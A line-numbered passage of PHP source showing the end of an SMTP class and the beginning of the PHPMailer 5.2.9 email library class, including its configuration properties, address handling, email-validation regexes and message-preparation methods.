7870 * @return integer
7871 */
7872 public function getDebugLevel()
7873 {
7874 return $this->do_debug;
7875 }
7876
7877 /**
7878 * Set SMTP timeout.
7879 * @param integer $timeout
7880 */
7881 public function setTimeout($timeout = 0)
7882 {
7883 $this->Timeout = $timeout;
7884 }
7885
7886 /**
7887 * Get SMTP timeout.
7888 * @return integer
7889 */
7890 public function getTimeout()
7891 {
7892 return $this->Timeout;
7893 }
7894}
7895
7896?>
7897<?php
7898/**
7899 * PHPMailer - PHP email creation and transport class.
7900 * PHP Version 5
7901 * @package PHPMailer
7902 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
7903 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7904 * @author Jim Jagielski (jimjag) <m>
7905 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7906 * @author Brent R. Matzelle (original founder)
7907 * @copyright 2012 - 2014 Marcus Bointon
7908 * @copyright 2010 - 2012 Jim Jagielski
7909 * @copyright 2004 - 2009 Andy Prevost
7910 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
7911 * @note This program is distributed in the hope that it will be useful - WITHOUT
7912 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
7913 * FITNESS FOR A PARTICULAR PURPOSE.
7914 */
7915
7916/**
7917 * PHPMailer - PHP email creation and transport class.
7918 * @package PHPMailer
7919 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7920 * @author Jim Jagielski (jimjag) <>
7921 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7922 * @author Brent R. Matzelle (original founder)
7923 */
7924class PHPMailer
7925{
7926 /**
7927 * The PHPMailer Version number.
7928 * @type string
7929 */
7930 public $Version = '5.2.9';
7931
7932 /**
7933 * Email priority.
7934 * Options: 1 = High, 3 = Normal, 5 = low.
7935 * @type integer
7936 */
7937 public $Priority = 3;
7938
7939 /**
7940 * The character set of the message.
7941 * @type string
7942 */
7943 public $CharSet = 'iso-8859-1';
7944
7945 /**
7946 * The MIME Content-type of the message.
7947 * @type string
7948 */
7949 public $ContentType = 'text/plain';
7950
7951 /**
7952 * The message encoding.
7953 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
7954 * @type string
7955 */
7956 public $Encoding = '8bit';
7957
7958 /**
7959 * Holds the most recent mailer error message.
7960 * @type string
7961 */
7962 public $ErrorInfo = '';
7963
7964 /**
7965 * The From email address for the message.
7966 * @type string
7967 */
7968 public $From = 'root@localhost';
7969
7970 /**
7971 * The From name of the message.
7972 * @type string
7973 */
7974 public $FromName = 'Root User';
7975
7976 /**
7977 * The Sender email (Return-Path) of the message.
7978 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
7979 * @type string
7980 */
7981 public $Sender = '';
7982
7983 /**
7984 * The Return-Path of the message.
7985 * If empty, it will be set to either From or Sender.
7986 * @type string
7987 * @deprecated Email senders should never set a return-path header;
7988 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
7989 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
7990 */
7991 public $ReturnPath = '';
7992
7993 /**
7994 * The Subject of the message.
7995 * @type string
7996 */
7997 public $Subject = '';
7998
7999 /**
8000 * An HTML or plain text message body.
8001 * If HTML then call isHTML(true).
8002 * @type string
8003 */
8004 public $Body = '';
8005
8006 /**
8007 * The plain-text message body.
8008 * This body can be read by mail clients that do not have HTML email
8009 * capability such as mutt & Eudora.
8010 * Clients that can read HTML will view the normal Body.
8011 * @type string
8012 */
8013 public $AltBody = '';
8014
8015 /**
8016 * An iCal message part body.
8017 * Only supported in simple alt or alt_inline message types
8018 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
8019 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
8020 * @link http://kigkonsult.se/iCalcreator/
8021 * @type string
8022 */
8023 public $Ical = '';
8024
8025 /**
8026 * The complete compiled MIME message body.
8027 * @access protected
8028 * @type string
8029 */
8030 protected $MIMEBody = '';
8031
8032 /**
8033 * The complete compiled MIME message headers.
8034 * @type string
8035 * @access protected
8036 */
8037 protected $MIMEHeader = '';
8038
8039 /**
8040 * Extra headers that createHeader() doesn't fold in.
8041 * @type string
8042 * @access protected
8043 */
8044 protected $mailHeader = '';
8045
8046 /**
8047 * Word-wrap the message body to this number of chars.
8048 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
8049 * @type integer
8050 */
8051 public $WordWrap = 0;
8052
8053 /**
8054 * Which method to use to send mail.
8055 * Options: "mail", "sendmail", or "smtp".
8056 * @type string
8057 */
8058 public $Mailer = 'mail';
8059
8060 /**
8061 * The path to the sendmail program.
8062 * @type string
8063 */
8064 public $Sendmail = '/usr/sbin/sendmail';
8065
8066 /**
8067 * Whether mail() uses a fully sendmail-compatible MTA.
8068 * One which supports sendmail's "-oi -f" options.
8069 * @type boolean
8070 */
8071 public $UseSendmailOptions = true;
8072
8073 /**
8074 * Path to PHPMailer plugins.
8075 * Useful if the SMTP class is not in the PHP include path.
8076 * @type string
8077 * @deprecated Should not be needed now there is an autoloader.
8078 */
8079 public $PluginDir = '';
8080
8081 /**
8082 * The email address that a reading confirmation should be sent to.
8083 * @type string
8084 */
8085 public $ConfirmReadingTo = '';
8086
8087 /**
8088 * The hostname to use in Message-Id and Received headers
8089 * and as default HELO string.
8090 * If empty, the value returned
8091 * by SERVER_NAME is used or 'localhost.localdomain'.
8092 * @type string
8093 */
8094 public $Hostname = '';
8095
8096 /**
8097 * An ID to be used in the Message-Id header.
8098 * If empty, a unique id will be generated.
8099 * @type string
8100 */
8101 public $MessageID = '';
8102
8103 /**
8104 * The message Date to be used in the Date header.
8105 * If empty, the current date will be added.
8106 * @type string
8107 */
8108 public $MessageDate = '';
8109
8110 /**
8111 * SMTP hosts.
8112 * Either a single hostname or multiple semicolon-delimited hostnames.
8113 * You can also specify a different port
8114 * for each host by using this format: [hostname:port]
8115 * (e.g. "smtp1.example.com:25;smtp2.example.com").
8116 * You can also specify encryption type, for example:
8117 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
8118 * Hosts will be tried in order.
8119 * @type string
8120 */
8121 public $Host = 'localhost';
8122
8123 /**
8124 * The default SMTP server port.
8125 * @type integer
8126 * @TODO Why is this needed when the SMTP class takes care of it?
8127 */
8128 public $Port = 25;
8129
8130 /**
8131 * The SMTP HELO of the message.
8132 * Default is $Hostname.
8133 * @type string
8134 * @see PHPMailer::$Hostname
8135 */
8136 public $Helo = '';
8137
8138 /**
8139 * The secure connection prefix.
8140 * Options: "", "ssl" or "tls"
8141 * @type string
8142 */
8143 public $SMTPSecure = '';
8144
8145 /**
8146 * Whether to use SMTP authentication.
8147 * Uses the Username and Password properties.
8148 * @type boolean
8149 * @see PHPMailer::$Username
8150 * @see PHPMailer::$Password
8151 */
8152 public $SMTPAuth = false;
8153
8154 /**
8155 * SMTP username.
8156 * @type string
8157 */
8158 public $Username = '';
8159
8160 /**
8161 * SMTP password.
8162 * @type string
8163 */
8164 public $Password = '';
8165
8166 /**
8167 * SMTP auth type.
8168 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
8169 * @type string
8170 */
8171 public $AuthType = '';
8172
8173 /**
8174 * SMTP realm.
8175 * Used for NTLM auth
8176 * @type string
8177 */
8178 public $Realm = '';
8179
8180 /**
8181 * SMTP workstation.
8182 * Used for NTLM auth
8183 * @type string
8184 */
8185 public $Workstation = '';
8186
8187 /**
8188 * The SMTP server timeout in seconds.
8189 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
8190 * @type integer
8191 */
8192 public $Timeout = 300;
8193
8194 /**
8195 * SMTP class debug output mode.
8196 * Debug output level.
8197 * Options:
8198 * * `0` No output
8199 * * `1` Commands
8200 * * `2` Data and commands
8201 * * `3` As 2 plus connection status
8202 * * `4` Low-level data output
8203 * @type integer
8204 * @see SMTP::$do_debug
8205 */
8206 public $SMTPDebug = 0;
8207
8208 /**
8209 * How to handle debug output.
8210 * Options:
8211 * * `echo` Output plain-text as-is, appropriate for CLI
8212 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
8213 * * `error_log` Output to error log as configured in php.ini
8214 *
8215 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
8216 * <code>
8217 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
8218 * </code>
8219 * @type string|callable
8220 * @see SMTP::$Debugoutput
8221 */
8222 public $Debugoutput = 'echo';
8223
8224 /**
8225 * Whether to keep SMTP connection open after each message.
8226 * If this is set to true then to close the connection
8227 * requires an explicit call to smtpClose().
8228 * @type boolean
8229 */
8230 public $SMTPKeepAlive = false;
8231
8232 /**
8233 * Whether to split multiple to addresses into multiple messages
8234 * or send them all in one message.
8235 * @type boolean
8236 */
8237 public $SingleTo = false;
8238
8239 /**
8240 * Storage for addresses when SingleTo is enabled.
8241 * @type array
8242 * @TODO This should really not be public
8243 */
8244 public $SingleToArray = array();
8245
8246 /**
8247 * Whether to generate VERP addresses on send.
8248 * Only applicable when sending via SMTP.
8249 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
8250 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
8251 * @type boolean
8252 */
8253 public $do_verp = false;
8254
8255 /**
8256 * Whether to allow sending messages with an empty body.
8257 * @type boolean
8258 */
8259 public $AllowEmpty = false;
8260
8261 /**
8262 * The default line ending.
8263 * @note The default remains "\n". We force CRLF where we know
8264 * it must be used via self::CRLF.
8265 * @type string
8266 */
8267 public $LE = "\n";
8268
8269 /**
8270 * DKIM selector.
8271 * @type string
8272 */
8273 public $DKIM_selector = '';
8274
8275 /**
8276 * DKIM Identity.
8277 * Usually the email address used as the source of the email
8278 * @type string
8279 */
8280 public $DKIM_identity = '';
8281
8282 /**
8283 * DKIM passphrase.
8284 * Used if your key is encrypted.
8285 * @type string
8286 */
8287 public $DKIM_passphrase = '';
8288
8289 /**
8290 * DKIM signing domain name.
8291 * @example 'example.com'
8292 * @type string
8293 */
8294 public $DKIM_domain = '';
8295
8296 /**
8297 * DKIM private key file path.
8298 * @type string
8299 */
8300 public $DKIM_private = '';
8301
8302 /**
8303 * Callback Action function name.
8304 *
8305 * The function that handles the result of the send email action.
8306 * It is called out by send() for each email sent.
8307 *
8308 * Value can be any php callable: http://www.php.net/is_callable
8309 *
8310 * Parameters:
8311 * boolean $result result of the send action
8312 * string $to email address of the recipient
8313 * string $cc cc email addresses
8314 * string $bcc bcc email addresses
8315 * string $subject the subject
8316 * string $body the email body
8317 * string $from email address of sender
8318 * @type string
8319 */
8320 public $action_function = '';
8321
8322 /**
8323 * What to use in the X-Mailer header.
8324 * Options: null for default, whitespace for none, or a string to use
8325 * @type string
8326 */
8327 public $XMailer = '';
8328
8329 /**
8330 * An instance of the SMTP sender class.
8331 * @type SMTP
8332 * @access protected
8333 */
8334 protected $smtp = null;
8335
8336 /**
8337 * The array of 'to' addresses.
8338 * @type array
8339 * @access protected
8340 */
8341 protected $to = array();
8342
8343 /**
8344 * The array of 'cc' addresses.
8345 * @type array
8346 * @access protected
8347 */
8348 protected $cc = array();
8349
8350 /**
8351 * The array of 'bcc' addresses.
8352 * @type array
8353 * @access protected
8354 */
8355 protected $bcc = array();
8356
8357 /**
8358 * The array of reply-to names and addresses.
8359 * @type array
8360 * @access protected
8361 */
8362 protected $ReplyTo = array();
8363
8364 /**
8365 * An array of all kinds of addresses.
8366 * Includes all of $to, $cc, $bcc, $replyto
8367 * @type array
8368 * @access protected
8369 */
8370 protected $all_recipients = array();
8371
8372 /**
8373 * The array of attachments.
8374 * @type array
8375 * @access protected
8376 */
8377 protected $attachment = array();
8378
8379 /**
8380 * The array of custom headers.
8381 * @type array
8382 * @access protected
8383 */
8384 protected $CustomHeader = array();
8385
8386 /**
8387 * The most recent Message-ID (including angular brackets).
8388 * @type string
8389 * @access protected
8390 */
8391 protected $lastMessageID = '';
8392
8393 /**
8394 * The message's MIME type.
8395 * @type string
8396 * @access protected
8397 */
8398 protected $message_type = '';
8399
8400 /**
8401 * The array of MIME boundary strings.
8402 * @type array
8403 * @access protected
8404 */
8405 protected $boundary = array();
8406
8407 /**
8408 * The array of available languages.
8409 * @type array
8410 * @access protected
8411 */
8412 protected $language = array();
8413
8414 /**
8415 * The number of errors encountered.
8416 * @type integer
8417 * @access protected
8418 */
8419 protected $error_count = 0;
8420
8421 /**
8422 * The S/MIME certificate file path.
8423 * @type string
8424 * @access protected
8425 */
8426 protected $sign_cert_file = '';
8427
8428 /**
8429 * The S/MIME key file path.
8430 * @type string
8431 * @access protected
8432 */
8433 protected $sign_key_file = '';
8434
8435 /**
8436 * The S/MIME password for the key.
8437 * Used only if the key is encrypted.
8438 * @type string
8439 * @access protected
8440 */
8441 protected $sign_key_pass = '';
8442
8443 /**
8444 * Whether to throw exceptions for errors.
8445 * @type boolean
8446 * @access protected
8447 */
8448 protected $exceptions = false;
8449
8450 /**
8451 * Error severity: message only, continue processing.
8452 */
8453 const STOP_MESSAGE = 0;
8454
8455 /**
8456 * Error severity: message, likely ok to continue processing.
8457 */
8458 const STOP_CONTINUE = 1;
8459
8460 /**
8461 * Error severity: message, plus full stop, critical error reached.
8462 */
8463 const STOP_CRITICAL = 2;
8464
8465 /**
8466 * SMTP RFC standard line ending.
8467 */
8468 const CRLF = "\r\n";
8469
8470 /**
8471 * Constructor.
8472 * @param boolean $exceptions Should we throw external exceptions?
8473 */
8474 public function __construct($exceptions = false)
8475 {
8476 $this->exceptions = (boolean)$exceptions;
8477 }
8478
8479 /**
8480 * Destructor.
8481 */
8482 public function __destruct()
8483 {
8484 if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
8485 $this->smtpClose();
8486 }
8487 }
8488
8489 /**
8490 * Call mail() in a safe_mode-aware fashion.
8491 * Also, unless sendmail_path points to sendmail (or something that
8492 * claims to be sendmail), don't pass params (not a perfect fix,
8493 * but it will do)
8494 * @param string $to To
8495 * @param string $subject Subject
8496 * @param string $body Message Body
8497 * @param string $header Additional Header(s)
8498 * @param string $params Params
8499 * @access private
8500 * @return boolean
8501 */
8502 private function mailPassthru($to, $subject, $body, $header, $params)
8503 {
8504 //Check overloading of mail function to avoid double-encoding
8505 if (ini_get('mbstring.func_overload') & 1) {
8506 $subject = $this->secureHeader($subject);
8507 } else {
8508 $subject = $this->encodeHeader($this->secureHeader($subject));
8509 }
8510 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
8511 $result = @mail($to, $subject, $body, $header);
8512 } else {
8513 $result = @mail($to, $subject, $body, $header, $params);
8514 }
8515 return $result;
8516 }
8517
8518 /**
8519 * Output debugging info via user-defined method.
8520 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
8521 * @see PHPMailer::$Debugoutput
8522 * @see PHPMailer::$SMTPDebug
8523 * @param string $str
8524 */
8525 protected function edebug($str)
8526 {
8527 if ($this->SMTPDebug <= 0) {
8528 return;
8529 }
8530 //Avoid clash with built-in function names
8531 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
8532 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
8533 return;
8534 }
8535 switch ($this->Debugoutput) {
8536 case 'error_log':
8537 //Don't output, just log
8538 error_log($str);
8539 break;
8540 case 'html':
8541 //Cleans up output a bit for a better looking, HTML-safe output
8542 echo htmlentities(
8543 preg_replace('/[\r\n]+/', '', $str),
8544 ENT_QUOTES,
8545 'UTF-8'
8546 )
8547 . "<br>\n";
8548 break;
8549 case 'echo':
8550 default:
8551 //Normalize line breaks
8552 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
8553 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
8554 "\n",
8555 "\n \t ",
8556 trim($str)
8557 ) . "\n";
8558 }
8559 }
8560
8561 /**
8562 * Sets message type to HTML or plain.
8563 * @param boolean $isHtml True for HTML mode.
8564 * @return void
8565 */
8566 public function isHTML($isHtml = true)
8567 {
8568 if ($isHtml) {
8569 $this->ContentType = 'text/html';
8570 } else {
8571 $this->ContentType = 'text/plain';
8572 }
8573 }
8574
8575 /**
8576 * Send messages using SMTP.
8577 * @return void
8578 */
8579 public function isSMTP()
8580 {
8581 $this->Mailer = 'smtp';
8582 }
8583
8584 /**
8585 * Send messages using PHP's mail() function.
8586 * @return void
8587 */
8588 public function isMail()
8589 {
8590 $this->Mailer = 'mail';
8591 }
8592
8593 /**
8594 * Send messages using $Sendmail.
8595 * @return void
8596 */
8597 public function isSendmail()
8598 {
8599 $ini_sendmail_path = ini_get('sendmail_path');
8600
8601 if (!stristr($ini_sendmail_path, 'sendmail')) {
8602 $this->Sendmail = '/usr/sbin/sendmail';
8603 } else {
8604 $this->Sendmail = $ini_sendmail_path;
8605 }
8606 $this->Mailer = 'sendmail';
8607 }
8608
8609 /**
8610 * Send messages using qmail.
8611 * @return void
8612 */
8613 public function isQmail()
8614 {
8615 $ini_sendmail_path = ini_get('sendmail_path');
8616
8617 if (!stristr($ini_sendmail_path, 'qmail')) {
8618 $this->Sendmail = '/var/qmail/bin/qmail-inject';
8619 } else {
8620 $this->Sendmail = $ini_sendmail_path;
8621 }
8622 $this->Mailer = 'qmail';
8623 }
8624
8625 /**
8626 * Add a "To" address.
8627 * @param string $address
8628 * @param string $name
8629 * @return boolean true on success, false if address already used
8630 */
8631 public function addAddress($address, $name = '')
8632 {
8633 return $this->addAnAddress('to', $address, $name);
8634 }
8635
8636 /**
8637 * Add a "CC" address.
8638 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8639 * @param string $address
8640 * @param string $name
8641 * @return boolean true on success, false if address already used
8642 */
8643 public function addCC($address, $name = '')
8644 {
8645 return $this->addAnAddress('cc', $address, $name);
8646 }
8647
8648 /**
8649 * Add a "BCC" address.
8650 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8651 * @param string $address
8652 * @param string $name
8653 * @return boolean true on success, false if address already used
8654 */
8655 public function addBCC($address, $name = '')
8656 {
8657 return $this->addAnAddress('bcc', $address, $name);
8658 }
8659
8660 /**
8661 * Add a "Reply-to" address.
8662 * @param string $address
8663 * @param string $name
8664 * @return boolean
8665 */
8666 public function addReplyTo($address, $name = '')
8667 {
8668 return $this->addAnAddress('Reply-To', $address, $name);
8669 }
8670
8671 /**
8672 * Add an address to one of the recipient arrays.
8673 * Addresses that have been added already return false, but do not throw exceptions
8674 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
8675 * @param string $address The email address to send to
8676 * @param string $name
8677 * @throws phpmailerException
8678 * @return boolean true on success, false if address already used or invalid in some way
8679 * @access protected
8680 */
8681 protected function addAnAddress($kind, $address, $name = '')
8682 {
8683 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
8684 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
8685 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
8686 if ($this->exceptions) {
8687 throw new phpmailerException('Invalid recipient array: ' . $kind);
8688 }
8689 return false;
8690 }
8691 $address = trim($address);
8692 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8693 if (!$this->validateAddress($address)) {
8694 $this->setError($this->lang('invalid_address') . ': ' . $address);
8695 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8696 if ($this->exceptions) {
8697 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8698 }
8699 return false;
8700 }
8701 if ($kind != 'Reply-To') {
8702 if (!isset($this->all_recipients[strtolower($address)])) {
8703 array_push($this->$kind, array($address, $name));
8704 $this->all_recipients[strtolower($address)] = true;
8705 return true;
8706 }
8707 } else {
8708 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
8709 $this->ReplyTo[strtolower($address)] = array($address, $name);
8710 return true;
8711 }
8712 }
8713 return false;
8714 }
8715
8716 /**
8717 * Set the From and FromName properties.
8718 * @param string $address
8719 * @param string $name
8720 * @param boolean $auto Whether to also set the Sender address, defaults to true
8721 * @throws phpmailerException
8722 * @return boolean
8723 */
8724 public function setFrom($address, $name = '', $auto = true)
8725 {
8726 $address = trim($address);
8727 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8728 if (!$this->validateAddress($address)) {
8729 $this->setError($this->lang('invalid_address') . ': ' . $address);
8730 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8731 if ($this->exceptions) {
8732 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8733 }
8734 return false;
8735 }
8736 $this->From = $address;
8737 $this->FromName = $name;
8738 if ($auto) {
8739 if (empty($this->Sender)) {
8740 $this->Sender = $address;
8741 }
8742 }
8743 return true;
8744 }
8745
8746 /**
8747 * Return the Message-ID header of the last email.
8748 * Technically this is the value from the last time the headers were created,
8749 * but it's also the message ID of the last sent message except in
8750 * pathological cases.
8751 * @return string
8752 */
8753 public function getLastMessageID()
8754 {
8755 return $this->lastMessageID;
8756 }
8757
8758 /**
8759 * Check that a string looks like an email address.
8760 * @param string $address The email address to check
8761 * @param string $patternselect A selector for the validation pattern to use :
8762 * * `auto` Pick strictest one automatically;
8763 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
8764 * * `pcre` Use old PCRE implementation;
8765 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
8766 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
8767 * * `noregex` Don't use a regex: super fast, really dumb.
8768 * @return boolean
8769 * @static
8770 * @access public
8771 */
8772 public static function validateAddress($address, $patternselect = 'auto')
8773 {
8774 if (!$patternselect or $patternselect == 'auto') {
8775 //Check this constant first so it works when extension_loaded() is disabled by safe mode
8776 //Constant was added in PHP 5.2.4
8777 if (defined('PCRE_VERSION')) {
8778 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
8779 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
8780 $patternselect = 'pcre8';
8781 } else {
8782 $patternselect = 'pcre';
8783 }
8784 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
8785 //Fall back to older PCRE
8786 $patternselect = 'pcre';
8787 } else {
8788 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
8789 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
8790 $patternselect = 'php';
8791 } else {
8792 $patternselect = 'noregex';
8793 }
8794 }
8795 }
8796 switch ($patternselect) {
8797 case 'pcre8':
8798 /**
8799 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
8800 * @link http://squiloople.com/2009/12/20/email-address-validation/
8801 * @copyright 2009-2010 Michael Rushton
8802 * Feel free to use and redistribute this code. But please keep this copyright notice.
8803 */
8804 return (boolean)preg_match(
8805 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
8806 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
8807 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
8808 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
8809 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
8810 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
8811 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
8812 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8813 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
8814 $address
8815 );
8816 case 'pcre':
8817 //An older regex that doesn't need a recent PCRE
8818 return (boolean)preg_match(
8819 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
8820 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
8821 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
8822 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
8823 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
8824 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
8825 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
8826 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
8827 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8828 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
8829 $address
8830 );
8831 case 'html5':
8832 /**
8833 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
8834 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
8835 */
8836 return (boolean)preg_match(
8837 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
8838 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
8839 $address
8840 );
8841 case 'noregex':
8842 //No PCRE! Do something _very_ approximate!
8843 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
8844 return (strlen($address) >= 3
8845 and strpos($address, '@') >= 1
8846 and strpos($address, '@') != strlen($address) - 1);
8847 case 'php':
8848 default:
8849 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
8850 }
8851 }
8852
8853 /**
8854 * Create a message and send it.
8855 * Uses the sending method specified by $Mailer.
8856 * @throws phpmailerException
8857 * @return boolean false on error - See the ErrorInfo property for details of the error.
8858 */
8859 public function send()
8860 {
8861 try {
8862 if (!$this->preSend()) {
8863 return false;
8864 }
8865 return $this->postSend();
8866 } catch (phpmailerException $exc) {
8867 $this->mailHeader = '';
8868 $this->setError($exc->getMessage());
8869 if ($this->exceptions) {
8870 throw $exc;
8871 }
8872 return false;
8873 }
8874 }
8875
8876 /**
8877 * Prepare a message for sending.
8878 * @throws phpmailerException
8879 * @return boolean
8880 */
8881 public function preSend()
8882 {
8883 try {
8884 $this->mailHeader = '';
8885 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
8886 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
8887 }
8888
8889 // Set whether the message is multipart/alternative
8890 if (!empty($this->AltBody)) {
8891 $this->ContentType = 'multipart/alternative';
8892 }
8893
8894 $this->error_count = 0; // reset errors
8895 $this->setMessageType();
8896 // Refuse to send an empty message unless we are specifically allowing it
8897 if (!$this->AllowEmpty and empty($this->Body)) {
8898 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
8899 }
8900
8901 $this->MIMEHeader = $this->createHeader();
8902 $this->MIMEBody = $this->createBody();
8903
8904 // To capture the complete message when using mail(), create
8905 // an extra header list which createHeader() doesn't fold in
8906 if ($this->Mailer == 'mail') {
8907 if (count($this->to) > 0) {
8908 $this->mailHeader .= $this->addrAppend('To', $this->to);
8909 } else {
8910 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
8911 }
8912 $this->mailHeader .= $this->headerLine(
8913 'Subject',
8914 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
8915 );
8916 }
8917
8918 // Sign with DKIM if enabled
8919 if (!empty($this->DKIM_domain)
8920 && !empty($this->DKIM_private)
8921 && !empty($this->DKIM_selector)
8922 && file_exists($this->DKIM_private)) {
8923 $header_dkim = $this->DKIM_Add(
8924 $this->MIMEHeader . $this->mailHeader,
8925 $this->encodeHeader($this->secureHeader($this->Subject)),
8926 $this->MIMEBody
8927 );
8928 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
8929 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
8930 }
8931 return true;
8932
8933 } catch (phpmailerException $exc) {
8934 $this->setError($exc->getMessage());
8935 if ($this->exceptions) {
8936 throw $exc;
8937 }
8938 return false;
8939 }
8940 }
8941
8942 /**
8943 * Actually send a message.
8944 * Send the email via the selected mechanism
8945 * @throws phpmailerException
8946 * @return boolean
8947 */
